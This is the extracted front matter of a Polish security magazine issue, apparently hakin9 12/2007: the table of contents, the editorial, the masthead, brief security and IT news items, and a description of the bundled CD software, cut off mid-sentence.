background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 12/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy  garść  najciekawszych  wiadomości

ze świata bezpieczeństwa systemów informatycznych 

i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej 

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Recenzja ArcaVir 2007

12

Recenzja Kerio MailServer

13

Atak

Niebezpieczny Firefox

14

Konrad Zuwała

Konrad w swoim artykule pokazuje, jak skompromi-

tować  system  użytkownika  z  przeglądarką  Mozilla 

Firefox, działający w środowisku Windows.

Poznaj swój komputer

– oczami intruza

20

Bartosz Kalinowski

Bartek  uświadamia,  jak  wiele  informacji  udostępnia 

się nieświadomie, oraz jak można je odnaleźć i w jaki 

sposób mogą być wykorzystane.

Słabość mocnych haseł

36

Marcin Guzowski

Artykuł  Marcina  przedstawia  metody  tworzenia 

silnych  haseł  oraz  wskazuje,  jaki  jest  teoretyczny 

czas  ich  łamania.  Przybliża  także  obecnie  stoso-

wane techniki ataków na hasła.

Python – tworzenie fuzzerów

44

Piotr Łaskawiec

Piotr w swoim artykule przybliża nam pojęcie fuzzin-

gu oraz fuzzery napisane w Pythonie.

Obrona

FxCop – analiza kodu .NET

52

Artur Żarski

Artur  wyjaśnia,  jak  działa  i  czym  jest  narzędzie 

FxCop oraz czym jest analiza kodu. 

Witam

!

To już ostatni numer magazynu hakin9 w roku 2007. Dbamy o 

nasz produkt najlepiej, jak tylko można. Staramy się, aby był 

coraz bardziej atrakcyjny dla naszych odbiorców, zarówno pod 

względem merytorycznym, jak i zawartości załączonej płyty. 

W związku z tym w ostatnim numerze mamy dla Was prezent. 

Postaraliśmy się o dwie komercyjne wersje narzędzi: Dr.Web 

Anti-Virus + Anti-Spam z licencją 6-miesięczną i Safe'n'Sec + 

AntiSpyware z licencją 9-miesięczną. Poza wyżej wymienio-

nymi programami na płycie znajdują się także inne narzędzia, 

takie  jak:  SPAMfighter,  TmD  Soft,  e-Capsule  Private  Safe, 

e-Capsule  Private  Mail  –  nie  mniej  ciekawe.  Dbamy  także 

o zapewnienie jak największej bazy prezentów dla naszych 

prenumeratorów,  w  związku  z  czym  zachęcam  do  prenu-

meraty hakin9. Przechodząc do najważniejszej rzeczy, czyli 

artykułów – tak jak i w poprzednim numerze mamy dla Was 

dużo pożytecznych wiadomości. W dobie Internetu i niebez-

pieczeństw jakie on ze sobą niesie, postanowiliśmy, że tema-

tem numeru zostanie artykuł Niebezpieczny Firefox Konrada 

Zuwały. Każdy interesujący się bezpieczeństwem i surfowa-

niem w Sieci, z pewnością zechce poznać luki znajdujące się 

w tak popularnych narzędziach, jak  przeglądarki internetowe. 

Kolejną bardzo ciekawą pozycją jest artykuł Oczami intruza 

Bartosza Kalinowskiego, który uświadomi nam, jak wiele cen-

nych informacji o sobie udostępniamy nieświadomie w Sieci 

– mogą się one znaleźć w niewłaściwych rękach. Pozostaje 

mi tylko zachęcić do lektury i zapoznania się ze wszystkim, co 

znalazło się w tym numerze. 

Życzymy  wszystkim  naszym  Czytelnikom  wesołych, 

pogodnych, a przede wszystkim spokojnych Świąt Bożego 

Narodzenia w rodzinnej atmosferze, a także, aby 2008 rok 

nie zastawiał na Was komputerowych pułapek.

Pozdrawiam

Robert Gontarski 

background image

4

www.hakin9.org

hakin9 Nr 12/2007

hakin9

5

www.hakin9.org

hakin9 Nr 2/2006

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor: 
Sylwia Pogroszewska

Redaktor naczelna: Martyna Żaczek 

martyna.zaczek@software.com.pl 

Redaktor prowadząca: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski, 

robert.gontarski@software.com.pl

Wyróżnieni betatesterzy: Marcin Kulawinek, Roger Zacharczyk

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska marta@software.com.pl

Skład i łamanie: Marcin Ziółkowski, Michał Kozłowski

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o., 

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 427 36 69

www.hakin9.org 

Osoby zainteresowane współpracą prosimy o kontakt: 

cooperation@software.com.pl

Jeżeli jesteś zainteresowany zakupem licencji na wydawanie naszych 

pism prosimy o kontakt:

Martyna Żaczek

e-mail: martyna.zaczek@software.com.pl 

tel.: +48 (22) 427 36 77

fax: +48 (22) 427 36 69

Druk: 101 Studio, Firma Tęgi 

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na 

towarzyszących mu nośnikach informacje i programy były poprawne, 

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; 

nie gwarantuje także poprawnego działania programów shareware, 

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich 

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano 

program 

 firmy 

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit 

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu 

UWAGA! 

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej 

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem 

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9  ukazuje  się  w  następujących  krajach:  Hiszpanii,  Argentynie, 

Portugalii,  Francji,  Belgii,  Luksemburgu,  Kanadzie,  Maroko,  Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji. 

Prowadzimy  również  sprzedaż  kioskową  w  innych  krajach  europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

 

  ES 

   CZ             EN       

IT                FR            DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie 
we własnych sieciach lokalnych.
Redakcja  nie  ponosi  odpowiedzialności  za  niewłaściwe  użycie 
prezentowanych technik ani spowodowaną tym utratę danych.

C#.NET – diagnostyka sieci

58

Sławomir Orłowski

Tekst Sławka pozwala zorientować się, jak z poziomu 

kodu C# diagnozować sieć komputerową.

Rootkity – skuteczna obrona

64

Grzegorz Błoński

Grzegorz w swoim artykule przybliży Czytelnikom poję-

cie  rootkitów  oraz  opisze  zabezpieczenia  do  ochrony 

przed nimi.

Cyberlaundering

– pranie brudnych pieniędzy

70

Marcin Kopeć

Niezwykle  interesujący  artykuł  przedstawiający,  na 

czym  polega  rozwijający  się  w  Internecie  proceder 

prania brudnych pieniędzy, tzw. cyberlaundering.

Wywiad

Wywiad z Filipem Demianiukiem

z firmy Trend Micro

74

Katarzyna Juszczyńska, Robert Gontarski

Rozmowa z Filipem Demianiukiem – Technical Channel 

Managerem w firmie Trend Micro.

Klub techniczny

InterScan Gateway Security Appliance 

– wczesne powstrzymanie infekcji

77

Felieton

Grunt to mieć zasady

78

Patryk Krawaczyński

Księgozbiór

Recenzja książki 

79

Kryptografia w Bazach Danych. Ostatnia Linia Obrony.

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym 

wydaniu naszego pisma.

background image

W skrócie

hakin9 Nr 12/2007

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 12/2007

IBM dołączył do społeczno-

ści OpenOffice.org

Amerykański potentat komputero-

wy IBM oficjalnie dołączył do spo-

łeczności OpenOffice.org – firma 

chce w ten sposób wspomóc rozwój 

promowanego przez siebie formatu 

ODF. Wierzymy, że ta współpraca 

udoskonali nasze umiejętności,

dostarczy nowatorskich rozwiązań 

dla użytkowników produktów IBM

i wypromuje oprogramowanie

OpenOffice.org – powiedział

Mike Rhodin, dyrektor generalny 

Lotus IBM. Dołączenie do open-

source community oznacza współ-

działanie IBM z wieloletnim rywalem,

firmą Sun, która zapoczątkowa-

ła OpenOffice. IBM zapowiedział 

również, że przekaże developerom 

OpenOffice'a części kodu aplikacji 

Lotus Notes. Firma zaimplementu-

je własny kod w OpenOffice, aby in-

tegracja z Lotusem była wyraźniej-

sza, mówi Doug Heintzman, dyrek-

tor oddziału IBM odpowiedzialnego 

za wspomniany pakiet biurowy.

Serwery Ubuntu 

zaatakowane przez 

hakerów

Hakerzy zaatakowali serwery 

sponsorowane przez firmę Cano-

nical, która jest sponsorem 

projektu, sprzedaje support 

i usługi konsultingowe do zna-

nej dystrybucji Linuksa – Ubuntu. 

Pięć z ośmiu serwerów zostało 

zatrzymanych po stwierdzeniu, 

że są one aktywnie wykorzy-

stywane do ataków na pozosta-

łe serwery. Z tego, co udało się 

ustalić, wynika iż hakerzy dostali 

się do systemów poprzez 

działające, nieaktualizowane 

usługi FTP. Na serwerach nie 

używano także SFTP ani innego 

protokołu pozwalającego na 

szyfrowanie danych.

Poważne błędy w Oracle 11g

D

yrektor  firmy  Red  Database 
Security, Alexander Kornbrust,

poinformował,  że  najnowszy  sys-
tem bazodanowy firmy Oracle – 11g 
– jest podatny na ataki SQL Injec-
tion, dzięki czemu cyberprzestępcy 
mogą uruchomić szkodliwy kod na 
zaatakowanym systemie. 11g to du-
ży krok naprzód, ale część luk, któ
re znalazłem dotąd w tym oprogra-
mowaniu,  to  zwykłe  głupie  błędy 
programistyczne. Oracle powinno pod-
szkolić swoich programistów, bo nie 
powinni  oni  popełniać  tak  podsta-
wowych błędów
 – stwierdził Alexan-
der  Kornbrust.  Dokładne  informa-
cje, gdzie i jak można wykorzystać 
błąd w Oracle 11g, zostaną ujawnio-
ne  dopiero  wtedy,  gdy  Oracle  wy-
da poprawkę.

Oracle  jest  dostawcą  komplek-

sowych rozwiązań informatycznych 
dla  dowolnego  rodzaju  przedsię-
biorstw i organizacji. Firma powsta-

ła w 1977 roku, a jej siedziba znajdu-
je się w Redwood Shores w stanie 
Kalifornia  w  USA.  Założona  przez 
obecnego prezesa Larry'ego Elliso-
na oraz Boba Minera i Eda Oatesa. 
Firma obecnie zatrudnia 56 tys. spe-
cjalistów,  zaś  jej  roczny  obrót  wy-
nosi ponad 14 mld USD; na badania 
i rozwój przeznacza ponad 5 milio-
nów  USD  dziennie.  Serwery  baz
danych,  oprogramowanie  warstwy 
pośredniej  oraz  narzędzia  i  apli-
kacje biznesowe, jak również usłu-
gi konsultingowe, szkolenia i asysta 
techniczna oferowane są w 145 kra-
jach na całym świecie. Jednym ze 
szlagierowych produktów firmy jest 
relacyjna baza danych Oracle, która 
posługuje  się  standardowym  języ-
kiem  zapytań  SQL  oraz  posiada 
wbudowany wewnętrzny język two-
rzenia procedur składowanych PL/
SQL.

background image

W skrócie

hakin9 Nr 12/2007

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 12/2007

Strony WWW to dzienniki 

lub czasopisma

Na mocy postanowienia Sądu

Najwyższego, właściciele stron in-

ternetowych będą musieli je zareje-

strować na tych samych zasadach, 

co czasopisma papierowe. Zgodnie

z prawem prasowym treść publikacji 

nie wpływa na to, czy ma być uzna-

na za prasę. Jeśli więc strona

internetowa nie tworzy zamkniętej 

jednorodnej całości i jest aktualizo-

wana co najmniej raz w roku,

to jest prasą. Gdy nowe informacje 

pojawiają się na stronie częściej niż 

raz w tygodniu, to mamy do czynie-

nia z dziennikiem, jeśli rzadziej,

to z czasopismem. Zarówno jedno,

jak i drugie trzeba zarejestrować 

– tłumaczy Jacek Sobczak, sędzia 

Sądu Najwyższego. Za wydawanie 

dziennika lub czasopisma bez reje-

stracji grozi wysoka grzywna, a na-

wet ograniczenie wolności. O tym, 

jakie będą konsekwencje postano-

wienia, zdecydują prokuratura

i policja, gdyż to one będą decydo-

wać o ewentualnym ściganiu

autorów stron WWW.

Luka w Visual Basic 6

Specjaliści odkryli poważny błąd 

w Visual Basic 6. Każdy programista 

korzystający z aplikacji narażony jest 

na atak przepełnienia bufora. Cyber-

przestępcy są w stanie przygotować 

odpowiednio spreparowany plik .vbp

który może wstrzyknąć i wykonać 

szkodliwy kod na zaatakowanym 

komputerze. Obecnie nie ma żad-

nej łaty, która poprawiałaby wspo-

mniany błąd. Warto przypomnieć, 

że okres wsparcia dla Visual

Basic 6 zakończył się w marcu 

2005 i nie wiadomo, kiedy Microsoft 

może zdecydować się na ewentual-

ne opublikowanie poprawek.

Visual Basic to język programowa-

nia wysokiego poziomu i narzędzie 

programowania firmy Microsoft

Corporation. Składnia jest oparta na 

języku BASIC, ale została znacznie 

unowocześniona. W ostatnim

czasie, wraz z pojawieniem się plat-

formy .NET, Microsoft wydał nową 

wersję VB – Visual Basic .NET.

InterScan Web Security Appliance

F

irma  Trend  Micro  udostępni-
ła  nową  wersję  InterScan  Web 

Security  Appliance,  zintegrowanego 
rozwiązania, chroniącego sieć przed 
różnego rodzaju zagrożeniami, taki-
mi  jak  wirusy,  programy  szpiegują-
ce,  destrukcyjne  witryny  interneto-
we i niewłaściwe treści internetowe. 
Web  Security  Appliance  aktywnie 
zabezpiecza przed atakami interne-
towymi  dzięki  zintegrowanej  ochro-
nie przed zagrożeniami na poziomie 
bramy internetowej. Produkt zawiera 
funkcję badania na bieżąco reputacji 
stron  internetowych.  Funkcja  ta,  na 
podstawie  zachowania  i  zawartości 
strony,  ocenia  jej  bezpieczeństwo, 
dzięki  czemu  może  działać  jako 
brakujące  ogniwo  firmowego  łańcu-
cha  zabezpieczeń.  Ochrona  przed 
zagrożeniami  internetowymito  jed-
no  z  najważniejszych  wyzwań  dla 
przedsiębiorstw.  Firmom  potrzeb-

ne  jest  solidne  i  łatwe  w  zarzą-
dzaniu  rozwiązanie,  które  pozwoli
aktywnie  zapobiegać  podstępnym 
atakom.  Urządzenie  InterScan  Web 
Security  Appliance
  znakomicie  za-
spokaja to zapotrzebowanie – mówi 
Tom  Miller,  dyrektor  działu  rozwią-
zań  korporacyjnych  w  firmie  Trend 
Micro.  Urządzenie  jest  dostępne
w dwóch wersjach – InterScan Web 
Security Appliance Standard i Inter-
Scan  Web  Security  Appliance  Ad-
vanced
.

Firma Trend Micro została założo-

na w 1988 roku przez Steve’a Changa. 
Trend  Micro  jest  światowym  liderem 
na rynku zabezpieczeń bram interne-
towych. Główna siedziba Trend Micro 
znajduje się w Tokio. Firma zatrudnia 
ponad 1800 osób w 30 krajach, a przy-
chody ze sprzedaży w 2003 roku wy-
niosły 454 miliony USD.

Nowa Samba

D

eweloperzy  darmowego  ser-
wera plików i drukarek Samba 

ogłosili  wydanie  wersji  3.0.26  pa-
kietu,  w  której  załatano  poważny 
błąd,  pozwalający  użytkownikowi
na zwiększenie swoich uprawnień. 
W  pewnych  okolicznościach  użyt-
kownik domeny, korzystający z wty-
czek  SFU  windbind  nss  info  lub 
RFC2307,  może  zostać  przypisa-
ny do niewłaściwej grupy i uzyskać 
dzięki  temu  dodatkowe  uprawnie-
nia,  zupełnie  inne  od  deklarowa-
nych przez administratora podczas 
definiowania  właściwości  konta. 
Wersje podatne na usterki to 3.0.25 
do 3.0.25c. Luka ujawnia się tylko, 
gdy  używane  są  Active  Directory 
Services
  i  ponadto  nie  ustawiono 
atrybutów grup dla RFC2307 i SFU. 
Przygotowano nie tylko nową edy-
cję Samby, ale również patch.

Samba to darmowy, powszech-

nie  dostępny  (i  licencjonowany  na 
zasadach GPL) serwer plików i dru-
karek  przeznaczony  dla  platformy
Linux/Unix. Protokół transmisji wy-

korzystywany przez Sambę i syste-
my Microsoftu to SMB (ang. Server 
Message  Block
).  Samba  pozwa-
la  na  tworzenie  heterogeniczne-
go środowiska, w którym nie tylko 
w ramach jednej sieci lokalnej mo-
gą  działać  obok  siebie  komputery 
z  systemem  operacyjnym  Linux 
oraz Windows, ale także mogą wza-
jemnie  korzystać  ze  swoich  zaso-
bów – plików i drukarek. Samba jest
dziełem  Andrew  Tridgella,  który 
obecnie kieruje grupą programistów 
Samby ze swojego domu w Canber-
rze w Australii. Projekt ruszył w 1991 
roku,  kiedy  to  dla  potrzeb  swojej 
lokalnej  sieci  Tridgell  napisał  pro-
gram  serwera  plików,  który  obsłu-
giwał  protokół  DEC  firmy  Digital 
Pathworks.

background image

W skrócie

hakin9 Nr 12/2007

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 12/2007

Systemy operacyjne są 

ułomne ze swej natury

Joanna Rutkowska, polska specja-

listka w dziedzinie zabezpieczeń 

komputerowych, stwierdziła, że 

najpopularniejsze systemy opera-

cyjne są ułomne ze swej natury. Li-

nux, Windows, Mac OS X zawsze 

będą podatne na ataki. Niektóre 

dziury dotkną wszystkich użytkow-

ników, nawet tych najbardziej do-

świadczonych. Technologia jest na 

tyle ułomna, na ile jej użytkowni-

cy. Ale użytkowników można edu-

kować. Joanna Rutkowska, powo-

łując się na przykłady z systemu 

Windows, stwierdziła: Możesz za-

blokować dostęp do rejestru, ale 

– na przykład – źle napisany ste-

rownik do Wi-Fi pozwoli atakujące-

mu na ominięcie zabezpieczeń za-

wartych w systemie operacyjnym. 

Sterowniki firm trzecich są łatwiej-

sze do zaatakowania niż sterowni-

ki Microsoftu, gdyż koncern ma za 

sobą lata badań i doświadczeń.

Nowe produkty G DATA

G DATA przedstawiła nowe produk-

ty, przygotowane na rok 2008 i skie-

rowane do użytkowników bizne-

sowych. Są to: AntiVirus Business 

– pakiet zabezpieczający przed za-

grożeniami z Internetu, MailSecurity 

– program do ochrony poczty, Top-

Secret Next Generation 4.0 – na-

rzędzie do bezpiecznego przecho-

wywania danych oraz niszczarka 

Next Generation – program do bez-

powrotnego usuwania danych. No-

we wersje zostały udoskonalone pod 

względem wykrywalności i zdolności 

usuwania wirusów, dodano też nowe 

funkcje. Specjaliści z firmy G DATA 

zadbali o komfort graczy online, od-

dając im do dyspozycji rozwiązanie 

stworzone specjalnie dla nich – fire-

wall zoptymalizowany dla najpopu-

larniejszych gier PC. Nowością jest 

również filtr spamu, rozpoznający 

wiadomości w 10 językach. Znacz-

nie też zredukowano obciążenie sys-

temu wynikające z pracy progra-

mów. Premierę produktów w Polsce 

przewidziano na październik 2007.

Microsoft przegrał z Komisją Europejską

U

nijny Trybunał Pierwszej Instan-
cji utrzymał w mocy wyrok i ka-

rę nałożoną na Microsoft w procesie 
z 2004 r. Komisja Europejska zarzu-
ciła  wówczas  firmie  wykorzystywa-
nie  pozycji  monopolistycznej  i  utaj-
nianie informacji przed konkurencją. 
Trybunał,  po  zapoznaniu  się  z  ar-
gumentacją  korporacji  z  Redmond,
odrzucił  apelację  we  wszystkich 
punktach. W rezultacie Microsoft bę-
dzie musiał zapłacić nałożoną przez 
KE karę finansową w wysokości 500 
mln  euro  oraz  będzie  zmuszony 
udostępnić  cześć  poufnych  danych 
dotyczących systemu Windows oraz 
sprzedawać  wersję  systemu  ope-

racyjnego  bez  niektórych  aplika-
cji,  jak  np.  Windows  Media  Player.
Microsoft zapowiedział, że od wyroku
sądu  odwoła  się  do  Europejskiego 
Trybunału Sprawiedliwości.

Microsoft  z  siedzibą  w  Redmond 

w stanie Waszyngton jest jedną z naj-
większych  na  świecie  firm  w  branży 
komputerowej.  Firma  została  założo-
na w roku 1975 w Albuquerque w sta-
nie Nowy Meksyk przez Billa Gatesa  
i Paula Allena. Podstawowym produk-
tem  Microsoftu  są  systemy  operacyj-
ne  dla  serwerów  i  komputerów  oso-
bistych.  Drugim  filarem  przychodów
firmy jest oprogramowanie wspierają-
ce prace biurowe – MS Office.

13-letni wirus atakuje Vistę

O

koło 100 tysięcy laptopów nie-
mieckiej  firmy  Medion,  sprze-

danych  w  niemieckich  i  duńskich 
marketach sieci Aldi, zawierało wiru-
sa stworzonego 13 lat temu! Stoned. 
Angelina  nie  powoduje  uszkodzeń
i  rozpowszechnia  się  wyłącznie
z  użyciem  dyskietek,  atakując  MBR 
Master  Boot  Record.  W  dystry-
buowanym  z  laptopami  systemie
Windows  Vista  –  Home  Premium 
Edition  zainstalowano  program  an-

tywirusowy  Bullguard,  ale  ten  wy-
świetlał  tylko  komunikat,  że  infek-
cja  jest  niegroźna.  Nie  był  w  stanie 
usunąć  wirusa,  gdyż  uznał  go  za 
wymarłego.  Podobne  kłopoty  miało
w  przeszłości  sporo  firm  np.  Apple
i jej iPody zarażone w październiku 
minionego roku czy dyski twarde fir-
my Seagate, które w 1995 roku pa-
dły ofiarą tego samego wirusa, który
teraz  znalazł  się  w  laptopach  nie-
mieckiej firmy Medion.

background image

W skrócie

hakin9 Nr 12/2007

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 12/2007

Wystartował blog

hackers @ microsoft

Na stronach Microsoftu pojawił 

się nowy blog, znacznie odbie-

gający tematyką od innych obec-

nych w sieci blogów giganta

z Redmond. Microsoft od dawna 

zatrudnia hakerów, którzy próbują 

znaleźć luki i złamać

zabezpieczenia wbudowane

w jego oprogramowanie. Nieste-

ty, bardzo rzadko publikowane są 

o tym informacje – ma to jednak 

ulec zmianie dzięki nowemu blo-

gowi, w którym pojawić się

mają między innymi również infor-

macje o tym, w jaki sposób hake-

rzy pomagają firmie.

Prawdziwy haker jest kimś, kto 

pragnie poznać zasadę działania 

systemu. Microsoft umożliwił

to w etyczny i legalny sposób

– to słowa pierwszej wiadomości 

napisanej na blogu.

Mozilla 2.0.0.7

Mozilla Foundation wypuściła nową 

wersję swojej przeglądarki interne-

towej Mozilla Firefox. Wersja 2.0.0.7 

tym razem zawiera tylko jedną, ale 

dość istotną poprawkę łatającą lu-

kę w obsłudze QuickTime. Wykryty 

przez Petko D. Petkova błąd polega 

na możliwości uruchomienia przez 

wtyczkę QuickTime domyślnej prze-

glądarki WWW i wykonanie w niej 

kodu JavaScript. Warto zainstalować 

aktualizację, żeby zabezpieczyć się 

przed potencjalnymi atakami.

ReactOS 0.3.3 

W

ydano  nową  wersję  ReactOS 
0.3.3  –  darmowej  dystrybucji 

systemu  operacyjnego  kompatybil-
nej z najpopularniejszymi produktami
firmy  Microsoft.  Jądro  nowe  go  wy-
dania  jest  już  w  większości  zgodne
z platformą MS Windows NT5. W wer-
sji 0.3.3 dodano kilka nowych sterow-
ników kart sieciowych, np. RTL8139, 
dzięki  czemu  można  się  łączyć
z Internetem i korzystać z programów 
typu  ping,  finger  czy  klientów  FTP, 
SSH oraz Telnet (PuTTY).

System  zawiera  już  program

ReactOS  Explorer,  który  –  tak  jak
Internet  Explorer  pod  systemami 
Windows – jest podstawową powło-
ką  dla  ReactOS.  Lista  działających 

programów Win32 cały czas się po-
szerza, działa coraz więcej aplikacji
– od prostych, takich jak Notatnik, do 
dużo bardziej rozbudowanych aplika-
cji użytkowych (np. OpenOffice.org)
i  gier.  Niestety,  nie  ma  jeszcze 
wsparcia  dla  takich  technologii  jak 
USB, SATA czy NTFS. ReactOS do-
stępny  jest  w  postaci  instalacyjnej 
oraz jako LiveCD.

Historia projektu sięga 1996 ro-

ku, kiedy to ReactOS nosił jeszcze 
nazwę  FreeWin95  i  tworzony  był
z  myślą  uczynienia  go  kompatybil-
nym z Windows 95. Jednak pod ko-
niec roku 1997 postanowiono za cel 
obrać  Windows  NT,  a  FreeWin95 
uzyskał nazwę ReactOS.

Policja zatrzymała oszustów komputerowych

K

rakowska policja zatrzymała 3 
osoby w wieku od 23 do 29 lat, 

które  włamywały  się  do  kompute-
rów różnych firm i zmieniały nume-
ry kont na fakturach płatności. Tym 
sposobem  firmy  zamiast  wpłacać 
pieniądze  do  banków,  przelewały 
je  na  konta  podstawionych  osób. 
Prowadzący  sprawę  policjanci  po-
dejrzewają,  że  w  okresie  ostatnie-

go  półrocza  sprawcy  oszukali  po-
nad 100 firm na terenie całego kra-
ju,  wyłudzając  około  100  tysięcy 
złotych. Oszustom grozi kara do 8 
lat  pozbawienia  wolności.  Krakow-
scy  stróże  prawa  przypuszczają, 
że  osób  zamieszanych  w  ten  pro-
ceder  jest  więcej  i  przewidują  dal-
sze zatrzymania.

Seagate przedstawia dysk z wbudowanym 

mechanizmem szyfrowania danych

F

irma Seagate przedstawiła pierw-
szy  na  świecie  dysk  twardy

o  średnicy  3,5  cala  dla  komputerów 
PC z wbudowanym systemem zabez-
pieczającym,  zapobiegającym  nieau-
toryzowanemu  dostępowi  do  zgubio-
nego  bądź  skradzionego  dysku.  Za 
bezpieczeństwo odpowiadać ma szy-
frowanie  algorytmem  AES,  obecnie 
uznawanym  za  jeden  z  najlepszych
algorytmów szyfrowania danych. Uru-
chomienie  komputera  z  wbudowa-
nym dyskiem FDE będzie wymaga-
ło podania przez użytkownika hasła. 
Odczytanie  danych  z  wyłączonego 
dysku  nie  będzie  możliwe,  ponie-
waż będą one zaszyfrowane. Model 
ten – o pojemności 1 TB! – uka

że się 

na  początku  2008  roku.  AES  (ang.
Advanced  Encryption  Standard,  na-
zywany  również  Rijndael)  to  syme-
tryczny szyfr blokowy przyjęty przez 
NIST w wyniku konkursu ogłoszone-
go  w  roku  1997.  AES  wykonuje  10 
(klucz 128-bitowy), 12 (klucz 192-bi-
towy) lub 14 (klucz 256-bitowy) rund 
szyfrujących  substitution-permuta-
tion
.  Składają  się  one  z  substytucji 
wstępnej,  permutacji  macierzowej
i  modyfikacji  za  pomocą  klucza. 
Funkcja  substytucyjna  ma  bardzo 
oryginalną  konstrukcję,  która  uod-
parnia  ten  algorytm  na  znane  ataki 
kryptoanalizy różnicowej i liniowej.

background image

Na dołączonej do pisma płycie znajduje się  hakin9.live 
(h9l) w wersji 4.0.2 on BackTrack2.0, zawierająca przy-
datne narzędzia, dokumentację, tutoriale i materiały do-
datkowe  do  artykułów.  Aby  zacząć  pracę  z  hakin9.live
wystarczy  uruchomić  komputer  z  CD.  Po  uruchomieniu 
systemu możemy zalogować się jako użytkownik hakin9 
bez podawania hasła.

Programy:

•   TmD Soft (licencja bez ograniczeń czasowych),
•   Safe'n'Sec (licencja 9-miesięczna),
•   Dr.Web Anti-Virus + Anti-Spam (licencja półroczna),
•   e-Capsule Private Safe (licencja 2-miesięczna),
•   e-Capsule Private Mail (licencja 2-miesięczna),
•   SPAMfighter (licencja miesięczna).

Film instruktażowy:

•   Wstęp do ataków typu SQL Injection.

Oto pierwsze dwa odcinki z serii filmów instruktażowych 
przedstawiających najpopularniejsze metody ataków na 
strony internetowe. 

Tutorial:

•   Fuzzing z wykorzystaniem programu Taof.

Tutorial  przedstawia  praktyczne  możliwości  języka
Python w zakresie fuzzingu.

Zawartość CD

Safe'n'Sec

Program  z  rodziny  Host-based  Intrusion  Prevention 
Systems
, stworzony, aby chronić stacje robocze przed 
dziurami w zabezpieczeniach i nieznanymi zagrożenia-
mi. Narzędzia sklasyfikowane jako produkty klasy HIPS 
są niezbędne do zapewnienia całkowitego bezpieczeń-
stwa. Safe'n'Sec wykorzystuje ochronę proaktywną, po-
magającą chronić komputer przed zagrożeniami, które 
nie zostały jeszcze wykryte i sklasyfikowane. Narzędzie 
w celu wykrycia szkodników analizuje ich zachowanie,
a nie tylko kod źródłowy. Dzięki takiej metodzie możliwe 
jest blokowanie niebezpiecznych czynności wykonywa-
nych przez wirusy czy konie trojańskie. 

Ważne funkcje:

•   kontrola  aktywności  aplikacji  i  analizy  procesów, 

umożliwiająca  ochronę  komputera  przed  nowymi 
zagrożeniami,

•   blokowanie złośliwego kodu w czasie rzeczywistym,
•   kompleksowa ochrona przed próbami włamania się 

do systemu,

•   kompatybilność  z  popularnymi  antywirusami  i  fire-

wallami,

•   małe zużycie zasobów,
•   przejrzysty i łatwy w obsłudze interfejs użytkownika.

SPAMfighter

Narzędzie  służące  do  kasowania  niechcianej  przez 
użytkownika poczty e-mail, czyli spamu. SPAMfighter
współpracuje  z  programami  pocztowymi  firmy  Micro-
soft (np. Outlook) – dołącza się do nich w postaci pa-
ska  narzędzi  oraz  dodaje  nowy  folder,  przeznaczo-
ny  na  pocztę  rozpoznaną  jako  spam.  Wiadomości  są 
kwalifikowane na podstawie internetowej bazy danych 
o spamie. Użytkownik korzystający z narzędzia może 
sam  zdefiniować  listę  nadawców  poprzez  stworzenie 
białej  i  czarnej  listy.  Do  pierwszej  listy  domyślnie  są 
dodawane wszystkie adresy ze skrzynki. Pełna wersja, 
którą można wykupić po 30 dniach testowania, zawiera 
dodatkowo  pomoc  techniczną,  opcję  blokowania  wia-
domości według języków oraz umożliwia nieograniczo-
ną ilość wpisów do list. Kilka stwierdzeń, które charak-
teryzują ten program:

Każdy użytkownik otrzyma klucz licencyjny w mailu zwrotnym 
odrazu po rejestracji na www.ti.com.pl/hacking 

•   zdobywca nagrody za technologię blokowania spamu,
•   ochrona przed phishingiem, identyfikacja kradzieży i 

innych oszustw,

•   używany przez 3 miliony użytkowników na całym świecie,
•   filtr języków, który umożliwia blokowanie maili w okre-

ślonym języku,

•   filtr obrazów, rozpoznający spam wysyłany w postaci 

graficznej,

•   czarna lista adresów i domen,
•   gwarancja prywatności – nikt nie widzi Twoich wiado-

mości.

Minimalne wymagania do korzystania z narzędzia to sta-
cja robocza z jednym z systemów operacyjnych: Microsoft 
Windows 98, ME (32-bit), 2000, XP lub Windows Vista, za-
instalowany klient poczty (Outlook 2000 i nowsze, Outlook 
Express 5.5 i nowsze, Windows Mail) oraz 10 MB przestrze-
ni na dysku w raz z 64 mb pamięci RAM.

hakin9.live

hakin9 Nr 12/2007

www.hakin9.org

10

background image

hakin9.live

hakin9 Nr 12/2007

www.hakin9.org

11

Licencję  dla  oprogramowania  Dr.Web  pod  Windows  moż-
na  uzyskać  po  rejestracji  na  stronie  dystrybutora:  www.
doctorweb.com.pl/hackin9/
,  używając  kodu  promocyjnego: 
AVS-32.

TmD Soft 

Narzędzie  stworzone  dla  systemów  Windows  prze-
